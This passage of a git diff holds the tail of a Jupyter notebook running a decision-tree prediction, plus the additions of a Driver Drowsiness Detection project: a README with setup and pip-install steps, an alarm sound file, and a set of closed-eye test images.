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\n", + "text/plain": [ + "" + ] + }, + "metadata": {}, + "execution_count": 38 + } + ] + }, + { + "cell_type": "code", + "source": [ + "model.predict([[4.8, 2.9, 1.3, 0.2]])" + ], + "metadata": { + "colab": { + "base_uri": "https://localhost:8080/" + }, + "id": "Yel6doWxvbv1", + "outputId": "29dee1fd-f9a1-4fc5-9f4d-6094043190e3" + }, + "execution_count": 39, + "outputs": [ + { + "output_type": "stream", + "name": "stderr", + "text": [ + "/usr/local/lib/python3.7/dist-packages/sklearn/base.py:451: UserWarning: X does not have valid feature names, but DecisionTreeClassifier was fitted with feature names\n", + " \"X does not have valid feature names, but\"\n" + ] + }, + { + "output_type": "execute_result", + "data": { + "text/plain": [ + "array([1])" + ] + }, + "metadata": {}, + "execution_count": 39 + } + ] + } + ] +} \ No newline at end of file diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/README.md b/MachineLearning Projects/Driver-Drowsiness-Detection/README.md new file mode 100644 index 00000000..1c381cbb --- /dev/null +++ b/MachineLearning Projects/Driver-Drowsiness-Detection/README.md @@ -0,0 +1,107 @@ + +# Driver Drowsiness Detection + +A system that alarms the driver as soon as it detects that the driver is becoming drowsy to prevent any accidents. + + + +## Quick Start 🚀 + +### Clone the Repository + +```sh +git clone https://github.com/adityajai25/driver-drowsiness-detection.git +``` +Then + +```sh +cd driver-drowsiness-detection +``` + + +## Dataset + +We used a dataset downloaded from Kaggle. +## Creating Virtual Environment + +Using a virtual environment isolates dependencies, manages library versions, keeps the global Python environment clean, and ensures consistent setups. + +### On Windows + +#### Creating a virtual environment: + +Open Command Prompt and navigate to the project directory + +```sh +cd project/directory/ + +``` +Create a Virtual Environment: +```sh +python -m venv env +``` +To Activate the Virtual Environment: + +```sh +.\env\Scripts\activate +``` + +### On mac/Linux + +#### Creating a virtual environment: +Open terminal and navigate to the project directory + +```sh +cd project/directory/ + +``` +Create a Virtual Environment: +```sh +python -m venv env +``` +To Activate the Virtual Environment: + +```sh +source env/bin/activate +``` + + +## Installing Required Packages + +Once the virtual environment is activated, install the required packages using the following commands: + +#### 1. Install pygame + +```sh +pip install pygame==2.4.0 +``` +#### 2. Install openCV-Python + +```sh +pip install opencv-python==4.6.0.66 +``` +#### 3. Install numpy + +```sh +pip install numpy==1.23.0 +``` +#### 4. Install keras + +```sh +pip install keras==2.12.0 +``` +#### 5. Install tensorflow + +```sh +pip install tensorflow==2.13.0 +``` + + +## Execution +After installing the packages required, the project can be executed using the following command. + +```sh +python main.py +``` + +This will initiate the application, and it may take a few moments to activate the webcam and begin detection. \ No newline at end of file diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/alarm.wav b/MachineLearning Projects/Driver-Drowsiness-Detection/alarm.wav new file mode 100644 index 00000000..f7bf38c9 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/alarm.wav differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_107.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_107.jpg new file mode 100644 index 00000000..95534c11 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_107.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_115.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_115.jpg new file mode 100644 index 00000000..fbab9c09 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_115.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_116.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_116.jpg new file mode 100644 index 00000000..0aea1438 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_116.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_120.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_120.jpg new file mode 100644 index 00000000..d9b18d8a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_120.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_129.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_129.jpg new file mode 100644 index 00000000..62d2cf1d Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_129.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_130.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_130.jpg new file mode 100644 index 00000000..3553cf51 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_130.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_132.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_132.jpg new file mode 100644 index 00000000..3cd4fd1a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_132.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_137.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_137.jpg new file mode 100644 index 00000000..dfa7fb14 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_137.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_14.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_14.jpg new file mode 100644 index 00000000..f8da3ebc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_14.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_148.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_148.jpg new file mode 100644 index 00000000..2c7038c8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_148.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_152.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_152.jpg new file mode 100644 index 00000000..817ef970 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_152.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_159.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_159.jpg new file mode 100644 index 00000000..f93c9f62 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_159.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_161.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_161.jpg new file mode 100644 index 00000000..9b1eba08 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_161.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_163.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_163.jpg new file mode 100644 index 00000000..7edc426b Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_163.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_164.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_164.jpg new file mode 100644 index 00000000..a5f7ce38 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_164.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_167.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_167.jpg new file mode 100644 index 00000000..e9bfdddc Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_167.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_168.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_168.jpg new file mode 100644 index 00000000..f43f7bc5 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_168.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_169.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_169.jpg new file mode 100644 index 00000000..00390902 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_169.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_172.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_172.jpg new file mode 100644 index 00000000..824cd597 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_172.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_181.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_181.jpg new file mode 100644 index 00000000..a891185e Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_181.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_195.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_195.jpg new file mode 100644 index 00000000..a4997c03 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_195.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_197.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_197.jpg new file mode 100644 index 00000000..d8dab71c Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_197.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_20.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_20.jpg new file mode 100644 index 00000000..cbc57f00 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_20.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_211.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_211.jpg new file mode 100644 index 00000000..abcc429a Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_211.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_214.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_214.jpg new file mode 100644 index 00000000..86bb11ee Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_214.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_216.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_216.jpg new file mode 100644 index 00000000..31396026 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_216.jpg differ diff --git a/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_219.jpg b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_219.jpg new file mode 100644 index 00000000..853fabc8 Binary files /dev/null and b/MachineLearning Projects/Driver-Drowsiness-Detection/dataset_new/test/Closed/_219.jpg differ diff --git 